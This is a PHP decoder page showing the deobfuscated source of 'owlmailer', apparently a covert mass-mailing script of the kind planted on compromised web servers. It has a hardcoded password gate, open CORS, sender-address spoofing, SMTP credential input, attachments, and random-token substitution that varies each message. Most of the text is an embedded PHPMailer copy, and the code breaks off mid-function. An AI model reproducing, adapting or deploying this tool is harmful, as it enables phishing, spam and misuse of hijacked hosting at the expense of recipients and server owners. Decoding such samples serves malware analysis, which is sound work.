Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start(); set_time_limit(0); ini_set("\x6d\x65\x6d\x6f\162\171\x5f\154..
Decoded Output download
<?php
session_start();
set_time_limit(0);
ini_set("memory_limit", -1);
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Access-Control-Allow-Origin: *");
$RNSkS = "123";
$qeeAj["version"] = "2.1";
$qeeAj["website"] = "owlmailer.io";
$RcI5o = $_SERVER["PHP_SELF"];
if (!(isset($_POST["action"]) && $_POST["action"] == "send")) {
goto EwSOO;
}
$GLOBALS["recipient"] = owlTrim($_POST["recipient"]);
$GLOBALS["smtpAcct"] = owlTrim($_POST["smtpAcct"]);
$GLOBALS["senderName"] = owlTrim($_POST["senderName"]);
$GLOBALS["sendingMethod"] = owlTrim($_POST["sendingMethod"]);
$GLOBALS["senderEmail"] = owlTrim($_POST["senderEmail"]);
$GLOBALS["replyTo"] = owlTrim($_POST["replyTo"]);
$jYNMF = owlTrim($_POST["messageLetter"]);
$jYNMF = urlencode($jYNMF);
$jYNMF = preg_replace("/%5C%22/", "%22", $jYNMF);
$jYNMF = urldecode($jYNMF);
$GLOBALS["messageLetter"] = stripslashes($jYNMF);
$FG967 = owlTrim($_POST["altMessageLetter"]);
$FG967 = urlencode($FG967);
$FG967 = preg_replace("/%5C%22/", "%22", $FG967);
$FG967 = urldecode($FG967);
$GLOBALS["altMessageLetter"] = stripslashes($FG967);
$GLOBALS["messageType"] = owlTrim($_POST["messageType"]);
$eHbhw = owlTrim($_POST["encodingType"]);
$GLOBALS["encodingType"] = stripslashes($eHbhw);
$bqGuA = owlTrim($_POST["emailPriority"]);
$GLOBALS["emailPriority"] = stripslashes($bqGuA);
$wZEJb = owlTrim($_POST["messageSubject"]);
$GLOBALS["messageSubject"] = stripslashes($wZEJb);
processEmailSendingRequest();
EwSOO:
$KeKVw = md5(__FILE__);
if (isset($_SESSION[$KeKVw])) {
goto u6fK1;
}
$_SESSION[$KeKVw] = '';
u6fK1:
if (!(!empty($RNSkS) && $_SESSION[$KeKVw] != $RNSkS)) {
goto Ws5g1;
}
if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $RNSkS) {
goto Cdk61;
}
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
exit;
goto E1S3a;
Cdk61:
$_SESSION[$KeKVw] = $RNSkS;
E1S3a:
Ws5g1:
function setSendingMethod()
{
$kDC1N = new PHPMailer();
if (!($GLOBALS["sendingMethod"] == "smtp")) {
goto oqsKH;
}
$kDC1N->IsSMTP();
$EQ5MH = explode(":", $GLOBALS["smtpAcct"]);
$kDC1N->Host = owlTrim($EQ5MH[0]);
$kDC1N->Port = owlTrim($EQ5MH[1]);
if (owlTrim($EQ5MH[2]) == "ssl") {
goto FKtWr;
}
if (owlTrim($EQ5MH[2]) == "tls") {
goto XiyGp;
}
$kDC1N->SMTPSecure = '';
goto SRX0O;
XiyGp:
$kDC1N->SMTPSecure = "tls";
SRX0O:
goto FCdzO;
FKtWr:
$kDC1N->SMTPSecure = "ssl";
FCdzO:
if (!(isset($EQ5MH[3]) && isset($EQ5MH[4]))) {
goto miNnq;
}
$kDC1N->SMTPAuth = true;
$kDC1N->Username = owlTrim($EQ5MH[3]);
$kDC1N->Password = owlTrim($EQ5MH[4]);
miNnq:
oqsKH:
return $kDC1N;
}
function processEmailSendingRequest()
{
if (is_email($GLOBALS["recipient"])) {
goto Dq4_b;
}
exit("Incorrect Email");
Dq4_b:
$kDC1N = setSendingMethod();
$CGZ5n = owlClear($GLOBALS["senderEmail"], $GLOBALS["recipient"]);
$zUL9t = owlClear($GLOBALS["senderName"], $GLOBALS["recipient"]);
$zBzbX = owlClear($GLOBALS["replyTo"], $GLOBALS["recipient"]);
$hRpZv = $GLOBALS["recipient"];
$q3Ca0 = owlClear($GLOBALS["messageSubject"], $GLOBALS["recipient"]);
$UlmlF = owlClear($GLOBALS["messageLetter"], $GLOBALS["recipient"]);
$bqmSG = owlClear($GLOBALS["altMessageLetter"], $GLOBALS["recipient"]);
$jf2sH = $GLOBALS["encodingType"];
$VXzzq = $GLOBALS["messageType"];
$bqGuA = $GLOBALS["emailPriority"];
$kDC1N->setFrom($CGZ5n, $zUL9t);
if (!(isset($zBzbX) && $zBzbX !== '')) {
goto CSz5J;
}
$kDC1N->addReplyTo($zBzbX);
CSz5J:
$kDC1N->addAddress($hRpZv);
if (!(isset($q3Ca0) && $q3Ca0 !== '')) {
goto zp4dp;
}
$kDC1N->Subject = $q3Ca0;
zp4dp:
if (!(isset($UlmlF) && $UlmlF !== '')) {
goto PBuN_;
}
$kDC1N->Body = $UlmlF;
PBuN_:
if (!(isset($jf2sH) && $jf2sH !== '')) {
goto R1JoZ;
}
$kDC1N->CharSet = $jf2sH;
R1JoZ:
if (!(isset($bqGuA) && $bqGuA !== '')) {
goto jF0Ga;
}
$kDC1N->Priority = $bqGuA;
jF0Ga:
if (!(isset($bqmSG) && $bqmSG !== '')) {
goto FxEG7;
}
$kDC1N->AltBody = $bqmSG;
FxEG7:
if (!isset($_FILES["attachment"])) {
goto v45hs;
}
$KJHmb = 0;
AzjCK:
if (!($KJHmb < count($_FILES["attachment"]["name"]))) {
goto yUMCi;
}
if (!($_FILES["attachment"]["tmp_name"][$KJHmb] != '')) {
goto bAigZ;
}
$kDC1N->AddAttachment($_FILES["attachment"]["tmp_name"][$KJHmb], $_FILES["attachment"]["name"][$KJHmb]);
bAigZ:
x9PUN:
$KJHmb++;
goto AzjCK;
yUMCi:
v45hs:
if ($VXzzq == "html") {
goto tYeIa;
}
$kDC1N->IsHTML(false);
goto fA8_d;
tYeIa:
$kDC1N->IsHTML(true);
fA8_d:
if (!$kDC1N->send()) {
goto pEVar;
}
exit("OK");
goto RzOu9;
pEVar:
exit($kDC1N->ErrorInfo);
RzOu9:
}
function owlTrim($jm30w)
{
return stripslashes(ltrim(rtrim($jm30w)));
}
function owlClear($izkEo, $SPj28)
{
$tCpWM = preg_replace("/([^@]*).*/", "$1", $SPj28);
$izkEo = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $izkEo);
$izkEo = str_replace("[-email-]", $SPj28, $izkEo);
$izkEo = str_replace("[-emailuser-]", $tCpWM, $izkEo);
$izkEo = str_replace("[-randomletters-]", randString("abcdefghijklmnopqrstuvwxyz", 8, 15), $izkEo);
$izkEo = str_replace("[-randomstring-]", randString("abcdefghijklmnopqrstuvwxyz0123456789", 8, 15), $izkEo);
$izkEo = str_replace("[-randomnumber-]", randString("0123456789", 7, 15), $izkEo);
$izkEo = str_replace("[-randommd5-]", md5(rand()), $izkEo);
return $izkEo;
}
function randString($k4Js9, $pWfSG, $FrCUe)
{
$Z6HTu = rand($pWfSG, $FrCUe);
$RNSkS = '';
$KJHmb = 0;
Sn14L:
if (!($KJHmb < $Z6HTu)) {
goto DoqBi;
}
$RNSkS .= $k4Js9[rand() % strlen($k4Js9)];
gNd2K:
$KJHmb++;
goto Sn14L;
DoqBi:
return $RNSkS;
}
function is_email($OwqrC)
{
$RH1Tc = "/^([a-zA-Z0-9\-\_\.]{1,})+@+([a-zA-Z0-9\-\_\.]{1,})+\.+([a-z]{2,4})$/i";
if (!preg_match($RH1Tc, $OwqrC)) {
goto azwlc;
}
return TRUE;
azwlc:
}
class PHPMailer
{
const CHARSET_ISO88591 = "iso-8859-1";
const CHARSET_UTF8 = "utf-8";
const CONTENT_TYPE_PLAINTEXT = "text/plain";
const CONTENT_TYPE_TEXT_CALENDAR = "text/calendar";
const CONTENT_TYPE_TEXT_HTML = "text/html";
const CONTENT_TYPE_MULTIPART_ALTERNATIVE = "multipart/alternative";
const CONTENT_TYPE_MULTIPART_MIXED = "multipart/mixed";
const CONTENT_TYPE_MULTIPART_RELATED = "multipart/related";
const ENCODING_7BIT = "7bit";
const ENCODING_8BIT = "8bit";
const ENCODING_BASE64 = "base64";
const ENCODING_BINARY = "binary";
const ENCODING_QUOTED_PRINTABLE = "quoted-printable";
public $Priority;
public $CharSet = self::CHARSET_ISO88591;
public $ContentType = self::CONTENT_TYPE_PLAINTEXT;
public $Encoding = self::ENCODING_8BIT;
public $ErrorInfo = '';
public $From = "root@localhost";
public $FromName = "Root User";
public $Sender = '';
public $Subject = '';
public $Body = '';
public $AltBody = '';
public $Ical = '';
protected $MIMEBody = '';
protected $MIMEHeader = '';
protected $mailHeader = '';
public $WordWrap = 0;
public $Mailer = "mail";
public $Sendmail = "/usr/sbin/sendmail";
public $UseSendmailOptions = true;
public $ConfirmReadingTo = '';
public $Hostname = '';
public $MessageID = '';
public $MessageDate = '';
public $Host = "localhost";
public $Port = 25;
public $Helo = '';
public $SMTPSecure = '';
public $SMTPAutoTLS = true;
public $SMTPAuth = false;
public $SMTPOptions = [];
public $Username = '';
public $Password = '';
public $AuthType = '';
protected $oauth;
public $Timeout = 300;
public $dsn = '';
public $SMTPDebug = 0;
public $Debugoutput = "echo";
public $SMTPKeepAlive = false;
public $SingleTo = false;
protected $SingleToArray = [];
public $do_verp = false;
public $AllowEmpty = false;
public $DKIM_selector = '';
public $DKIM_identity = '';
public $DKIM_passphrase = '';
public $DKIM_domain = '';
public $DKIM_copyHeaderFields = true;
public $DKIM_extraHeaders = [];
public $DKIM_private = '';
public $DKIM_private_string = '';
public $action_function = '';
public $XMailer = '';
public static $validator = "php";
protected $smtp;
protected $to = [];
protected $cc = [];
protected $bcc = [];
protected $ReplyTo = [];
protected $all_recipients = [];
protected $RecipientsQueue = [];
protected $ReplyToQueue = [];
protected $attachment = [];
protected $CustomHeader = [];
protected $lastMessageID = '';
protected $message_type = '';
protected $boundary = [];
protected $language = [];
protected $error_count = 0;
protected $sign_cert_file = '';
protected $sign_key_file = '';
protected $sign_extracerts_file = '';
protected $sign_key_pass = '';
protected $exceptions = false;
protected $uniqueid = '';
const VERSION = "6.0.7";
const STOP_MESSAGE = 0;
const STOP_CONTINUE = 1;
const STOP_CRITICAL = 2;
protected static $LE = "\xd\xa";
const MAX_LINE_LENGTH = 998;
const STD_LINE_LENGTH = 76;
public function __construct($y6xmU = null)
{
if (!(null !== $y6xmU)) {
goto GK61c;
}
$this->exceptions = (bool) $y6xmU;
GK61c:
$this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html";
}
public function __destruct()
{
$this->smtpClose();
}
private function mailPassthru($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx)
{
if (ini_get("mbstring.func_overload") & 1) {
goto MT3e7;
}
$q3Ca0 = $this->encodeHeader($this->secureHeader($q3Ca0));
goto PsQSq;
MT3e7:
$q3Ca0 = $this->secureHeader($q3Ca0);
PsQSq:
if (!$this->UseSendmailOptions or null === $s2iYx) {
goto b5aMc;
}
$HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx);
goto JcsDF;
b5aMc:
$HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY);
JcsDF:
return $HYIC3;
}
protected function edebug($YX4WE)
{
if (!($this->SMTPDebug <= 0)) {
goto WKivN;
}
return;
WKivN:
if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
goto TqVzB;
}
$this->Debugoutput->debug($YX4WE);
return;
TqVzB:
if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) {
goto CYndx;
}
call_user_func($this->Debugoutput, $YX4WE, $this->SMTPDebug);
return;
CYndx:
switch ($this->Debugoutput) {
case "error_log":
error_log($YX4WE);
goto r6Esd;
case "html":
echo htmlentities(preg_replace("/[\r\n]+/", '', $YX4WE), ENT_QUOTES, "UTF-8"), "<br>
";
goto r6Esd;
case "echo":
default:
$YX4WE = preg_replace("/\r\n|\r/ms", "
", $YX4WE);
echo gmdate("Y-m-d H:i:s"), " ", trim(str_replace("\xa", "
", trim($YX4WE))), "\xa";
}
P4l8z:
r6Esd:
}
public function isHTML($Jt311 = true)
{
if ($Jt311) {
goto gj6iR;
}
$this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
goto O7Mb3;
gj6iR:
$this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
O7Mb3:
}
public function isSMTP()
{
$this->Mailer = "smtp";
}
public function isMail()
{
$this->Mailer = "mail";
}
public function isSendmail()
{
$FTXHS = ini_get("sendmail_path");
if (false === stripos($FTXHS, "sendmail")) {
goto k8McC;
}
$this->Sendmail = $FTXHS;
goto Oepmw;
k8McC:
$this->Sendmail = "/usr/sbin/sendmail";
Oepmw:
$this->Mailer = "sendmail";
}
public function isQmail()
{
$FTXHS = ini_get("sendmail_path");
if (false === stripos($FTXHS, "qmail")) {
goto FZnQc;
}
$this->Sendmail = $FTXHS;
goto zFkXQ;
FZnQc:
$this->Sendmail = "/var/qmail/bin/qmail-inject";
zFkXQ:
$this->Mailer = "qmail";
}
public function addAddress($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("to", $w1_0x, $dEC3m);
}
public function addCC($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("cc", $w1_0x, $dEC3m);
}
public function addBCC($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("bcc", $w1_0x, $dEC3m);
}
public function addReplyTo($w1_0x, $dEC3m = '')
{
return $this->addOrEnqueueAnAddress("Reply-To", $w1_0x, $dEC3m);
}
protected function addOrEnqueueAnAddress($unDTy, $w1_0x, $dEC3m)
{
$w1_0x = trim($w1_0x);
$dEC3m = trim(preg_replace("/[\r\n]+/", '', $dEC3m));
$lLiqT = strrpos($w1_0x, "@");
if (!(false === $lLiqT)) {
goto BKlUW;
}
$puwAg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $unDTy, $w1_0x);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto iSe3S;
}
throw new Exception($puwAg);
iSe3S:
return false;
BKlUW:
$s2iYx = [$unDTy, $w1_0x, $dEC3m];
if (!($this->has8bitChars(substr($w1_0x, ++$lLiqT)) and static::idnSupported())) {
goto RwY46;
}
if ("Reply-To" != $unDTy) {
goto xbge0;
}
if (array_key_exists($w1_0x, $this->ReplyToQueue)) {
goto nr7lv;
}
$this->ReplyToQueue[$w1_0x] = $s2iYx;
return true;
nr7lv:
goto RYefs;
xbge0:
if (array_key_exists($w1_0x, $this->RecipientsQueue)) {
goto vOPl3;
}
$this->RecipientsQueue[$w1_0x] = $s2iYx;
return true;
vOPl3:
RYefs:
return false;
RwY46:
return call_user_func_array([$this, "addAnAddress"], $s2iYx);
}
protected function addAnAddress($unDTy, $w1_0x, $dEC3m = '')
{
if (in_array($unDTy, ["to", "cc", "bcc", "Reply-To"])) {
goto GTUHV;
}
$puwAg = sprintf("%s: %s", $this->lang("Invalid recipient kind"), $unDTy);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto j676G;
}
throw new Exception($puwAg);
j676G:
return false;
GTUHV:
if (static::validateAddress($w1_0x)) {
goto QMiGI;
}
$puwAg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $unDTy, $w1_0x);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto QmFs2;
}
throw new Exception($puwAg);
QmFs2:
return false;
QMiGI:
if ("Reply-To" != $unDTy) {
goto HnKFb;
}
if (array_key_exists(strtolower($w1_0x), $this->ReplyTo)) {
goto mFPIa;
}
$this->ReplyTo[strtolower($w1_0x)] = [$w1_0x, $dEC3m];
return true;
mFPIa:
goto gASZ0;
HnKFb:
if (array_key_exists(strtolower($w1_0x), $this->all_recipients)) {
goto wZwkR;
}
$this->{$unDTy}[] = [$w1_0x, $dEC3m];
$this->all_recipients[strtolower($w1_0x)] = true;
return true;
wZwkR:
gASZ0:
return false;
}
public static function parseAddresses($se9jr, $G6VpU = true)
{
$UxZQI = [];
if ($G6VpU and function_exists("imap_rfc822_parse_adrlist")) {
goto nEBIb;
}
$kCHeS = explode(",", $se9jr);
foreach ($kCHeS as $w1_0x) {
$w1_0x = trim($w1_0x);
if (strpos($w1_0x, "<") === false) {
goto aFytp;
}
list($dEC3m, $SPj28) = explode("<", $w1_0x);
$SPj28 = trim(str_replace(">", '', $SPj28));
if (!static::validateAddress($SPj28)) {
goto XnbiB;
}
$UxZQI[] = ["name" => trim(str_replace([""", "'"], '', $dEC3m)), "address" => $SPj28];
XnbiB:
goto CBBk1;
aFytp:
if (!static::validateAddress($w1_0x)) {
goto k_qXH;
}
$UxZQI[] = ["name" => '', "address" => $w1_0x];
k_qXH:
CBBk1:
VagcI:
}
zh4q3:
goto fGG_x;
nEBIb:
$kCHeS = imap_rfc822_parse_adrlist($se9jr, '');
foreach ($kCHeS as $w1_0x) {
if (!(".SYNTAX-ERROR." != $w1_0x->host)) {
goto N9fsn;
}
if (!static::validateAddress($w1_0x->mailbox . "@" . $w1_0x->host)) {
goto kQL7x;
}
$UxZQI[] = ["name" => property_exists($w1_0x, "personal") ? $w1_0x->personal : '', "address" => $w1_0x->mailbox . "@" . $w1_0x->host];
kQL7x:
N9fsn:
bwS9u:
}
RfsMu:
fGG_x:
return $UxZQI;
}
public function setFrom($w1_0x, $dEC3m = '', $Exle_ = true)
{
$w1_0x = trim($w1_0x);
$dEC3m = trim(preg_replace("/[\r\n]+/", '', $dEC3m));
$lLiqT = strrpos($w1_0x, "@");
if (!(false === $lLiqT or (!$this->has8bitChars(substr($w1_0x, ++$lLiqT)) or !static::idnSupported()) and !static::validateAddress($w1_0x))) {
goto UNDEd;
}
$puwAg = sprintf("%s (From): %s", $this->lang("invalid_address"), $w1_0x);
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto v39Pt;
}
throw new Exception($puwAg);
v39Pt:
return false;
UNDEd:
$this->From = $w1_0x;
$this->FromName = $dEC3m;
if (!$Exle_) {
goto tMG5P;
}
if (!empty($this->Sender)) {
goto Mw1P5;
}
$this->Sender = $w1_0x;
Mw1P5:
tMG5P:
return true;
}
public function getLastMessageID()
{
return $this->lastMessageID;
}
public static function validateAddress($w1_0x, $d_QrI = null)
{
if (!(null === $d_QrI)) {
goto A2nBJ;
}
$d_QrI = static::$validator;
A2nBJ:
if (!is_callable($d_QrI)) {
goto XW26s;
}
return call_user_func($d_QrI, $w1_0x);
XW26s:
if (!(strpos($w1_0x, "
") !== false or strpos($w1_0x, "
") !== false)) {
goto nsImy;
}
return false;
nsImy:
switch ($d_QrI) {
case "pcre":
case "pcre8":
return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $w1_0x);
case "html5":
return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $w1_0x);
case "php":
default:
return (bool) filter_var($w1_0x, FILTER_VALIDATE_EMAIL);
}
y_klO:
jgCZL:
}
public static function idnSupported()
{
return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding");
}
public function punyencodeAddress($w1_0x)
{
$lLiqT = strrpos($w1_0x, "@");
if (!(static::idnSupported() and !empty($this->CharSet) and false !== $lLiqT)) {
goto Ixmzu;
}
$facfs = substr($w1_0x, ++$lLiqT);
if (!($this->has8bitChars($facfs) and @mb_check_encoding($facfs, $this->CharSet))) {
goto ctx_J;
}
$facfs = mb_convert_encoding($facfs, "UTF-8", $this->CharSet);
$tAScD = 0;
$fk236 = idn_to_ascii($facfs, $tAScD, INTL_IDNA_VARIANT_UTS46);
if (!(false !== $fk236)) {
goto UMXJZ;
}
return substr($w1_0x, 0, $lLiqT) . $fk236;
UMXJZ:
ctx_J:
Ixmzu:
return $w1_0x;
}
public function send()
{
try {
if ($this->preSend()) {
goto Hfluj;
}
return false;
Hfluj:
return $this->postSend();
} catch (Exception $CsLop) {
$this->mailHeader = '';
$this->setError($CsLop->getMessage());
if (!$this->exceptions) {
goto cWRLY;
}
throw $CsLop;
cWRLY:
return false;
}
}
public function preSend()
{
if ("smtp" == $this->Mailer or "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0) {
goto JUUsS;
}
static::setLE(PHP_EOL);
goto rkaS4;
JUUsS:
static::setLE("\xd
");
rkaS4:
if (!(ini_get("mail.add_x_header") == 1 and "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0 and (version_compare(PHP_VERSION, "7.0.0", ">=") and version_compare(PHP_VERSION, "7.0.17", "<") or version_compare(PHP_VERSION, "7.1.0", ">=") and version_compare(PHP_VERSION, "7.1.3", "<")))) {
goto rQSgx;
}
trigger_error("Your version of PHP is affected by a bug that may result in corrupted messages." . " To fix it, switch to sending using SMTP, disable the mail.add_x_header option in" . " your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.", E_USER_WARNING);
rQSgx:
try {
$this->error_count = 0;
$this->mailHeader = '';
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $s2iYx) {
$s2iYx[1] = $this->punyencodeAddress($s2iYx[1]);
call_user_func_array([$this, "addAnAddress"], $s2iYx);
y27D4:
}
UdzrV:
if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) {
goto NjOR7;
}
throw new Exception($this->lang("provide_address"), self::STOP_CRITICAL);
NjOR7:
foreach (["From", "Sender", "ConfirmReadingTo"] as $wDNeR) {
$this->{$wDNeR} = trim($this->{$wDNeR});
if (!empty($this->{$wDNeR})) {
goto BvRz6;
}
goto iqa6A;
BvRz6:
$this->{$wDNeR} = $this->punyencodeAddress($this->{$wDNeR});
if (static::validateAddress($this->{$wDNeR})) {
goto dkC5i;
}
$puwAg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $wDNeR, $this->{$wDNeR});
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto e2tRf;
}
throw new Exception($puwAg);
e2tRf:
return false;
dkC5i:
iqa6A:
}
bsFgE:
if (!$this->alternativeExists()) {
goto p7jWd;
}
$this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
p7jWd:
$this->setMessageType();
if (!(!$this->AllowEmpty and empty($this->Body))) {
goto utPuV;
}
throw new Exception($this->lang("empty_message"), self::STOP_CRITICAL);
utPuV:
$this->Subject = trim($this->Subject);
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
$ltkTQ = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $ltkTQ;
if (!("mail" == $this->Mailer)) {
goto sEL8z;
}
if (count($this->to) > 0) {
goto zbjxy;
}
$this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;");
goto bNvVA;
zbjxy:
$this->mailHeader .= $this->addrAppend("To", $this->to);
bNvVA:
$this->mailHeader .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject)));
sEL8z:
if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) {
goto FN1pb;
}
$VTJ49 = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
$this->MIMEHeader = rtrim($this->MIMEHeader, "
") . static::$LE . static::normalizeBreaks($VTJ49) . static::$LE;
FN1pb:
return true;
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
if (!$this->exceptions) {
goto xcnXE;
}
throw $CsLop;
xcnXE:
return false;
}
}
public function postSend()
{
try {
switch ($this->Mailer) {
case "sendmail":
case "qmail":
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case "smtp":
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case "mail":
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$RvUuZ = $this->Mailer . "Send";
if (!method_exists($this, $RvUuZ)) {
goto FLJEY;
}
return $this->{$RvUuZ}($this->MIMEHeader, $this->MIMEBody);
FLJEY:
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
Wr69u:
ymCP0:
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
$this->edebug($CsLop->getMessage());
if (!$this->exceptions) {
goto ciKz1;
}
throw $CsLop;
ciKz1:
}
return false;
}
protected function sendmailSend($y_KXY, $UlmlF)
{
if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
goto P1OsP;
}
if ("qmail" == $this->Mailer) {
goto fygPq;
}
$ZHuaw = "%s -oi -t";
goto Zdk1l;
fygPq:
$ZHuaw = "%s";
Zdk1l:
goto FqJqv;
P1OsP:
if ("qmail" == $this->Mailer) {
goto i_hwh;
}
$ZHuaw = "%s -oi -f%s -t";
goto BCASs;
i_hwh:
$ZHuaw = "%s -f%s";
BCASs:
FqJqv:
$DNKlZ = sprintf($ZHuaw, escapeshellcmd($this->Sendmail), $this->Sender);
if ($this->SingleTo) {
goto E9IWJ;
}
$kDC1N = @popen($DNKlZ, "w");
if ($kDC1N) {
goto sX2NF;
}
throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL);
sX2NF:
fwrite($kDC1N, $y_KXY);
fwrite($kDC1N, $UlmlF);
$HYIC3 = pclose($kDC1N);
$this->doCallback($HYIC3 == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
if (!(0 !== $HYIC3)) {
goto XVRk4;
}
throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL);
XVRk4:
goto oHlS7;
E9IWJ:
foreach ($this->SingleToArray as $DNZpI) {
$kDC1N = @popen($DNKlZ, "w");
if ($kDC1N) {
goto QL8EW;
}
throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL);
QL8EW:
fwrite($kDC1N, "To: " . $DNZpI . "
");
fwrite($kDC1N, $y_KXY);
fwrite($kDC1N, $UlmlF);
$HYIC3 = pclose($kDC1N);
$this->doCallback($HYIC3 == 0, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
if (!(0 !== $HYIC3)) {
goto f01l2;
}
throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL);
f01l2:
AzNBV:
}
QuZ8u:
oHlS7:
return true;
}
protected static function isShellSafe($jm30w)
{
if (!(escapeshellcmd($jm30w) !== $jm30w or !in_array(escapeshellarg($jm30w), ["'{$jm30w}'", ""{$jm30w}""]))) {
goto nE0kh;
}
return false;
nE0kh:
$Z6HTu = strlen($jm30w);
$KJHmb = 0;
kxLKk:
if (!($KJHmb < $Z6HTu)) {
goto ZUm0_;
}
$MSPM2 = $jm30w[$KJHmb];
if (!(!ctype_alnum($MSPM2) && strpos("@_-.", $MSPM2) === false)) {
goto bggzy;
}
return false;
bggzy:
WeToF:
++$KJHmb;
goto kxLKk;
ZUm0_:
return true;
}
protected static function isPermittedPath($t1usk)
{
return !preg_match("#^[a-z]+://#i", $t1usk);
}
protected function mailSend($y_KXY, $UlmlF)
{
$GpJ9x = [];
foreach ($this->to as $EpIAw) {
$GpJ9x[] = $this->addrFormat($EpIAw);
HUm91:
}
WlgFy:
$g7_oI = implode(", ", $GpJ9x);
$s2iYx = null;
if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) {
goto yWIuA;
}
if (!self::isShellSafe($this->Sender)) {
goto G0gnw;
}
$s2iYx = sprintf("-f%s", $this->Sender);
G0gnw:
yWIuA:
if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) {
goto kRvXv;
}
$MDRr3 = ini_get("sendmail_from");
ini_set("sendmail_from", $this->Sender);
kRvXv:
$HYIC3 = false;
if ($this->SingleTo and count($GpJ9x) > 1) {
goto lNfy4;
}
$HYIC3 = $this->mailPassthru($g7_oI, $this->Subject, $UlmlF, $y_KXY, $s2iYx);
$this->doCallback($HYIC3, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
goto diBAI;
lNfy4:
foreach ($GpJ9x as $DNZpI) {
$HYIC3 = $this->mailPassthru($DNZpI, $this->Subject, $UlmlF, $y_KXY, $s2iYx);
